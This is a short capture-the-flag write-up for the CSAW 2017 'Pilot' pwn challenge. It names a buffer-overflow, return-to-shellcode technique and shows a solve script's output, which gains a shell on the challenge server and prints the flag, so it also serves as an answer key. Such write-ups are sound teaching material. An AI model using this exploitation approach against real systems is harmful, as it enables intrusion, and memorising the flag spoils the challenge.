CSAWCTF_2017: Pilot

Category: Pwn Points: 75 Description:

Can I take your order nc pwn.chal.csaw.io 8464 16:05 Eastern: Updated binary

Write-up

This challenge is a standard buffer overflow, return to shellcode exploit, where the address is fed to you. This is made even simpler through Python.

# ./solve.py 
[+] Opening connection to pwn.chal.csaw.io on port 8464: Done
[*] Switching to interactive mode
[*]Command:
$ ls
flag
pilot
$ cat flag
flag{1nput_c00rd1nat3s_Strap_y0urse1v3s_1n_b0ys}

Therefore, the flag is flag{1nput_c00rd1nat3s_Strap_y0urse1v3s_1n_b0ys}.

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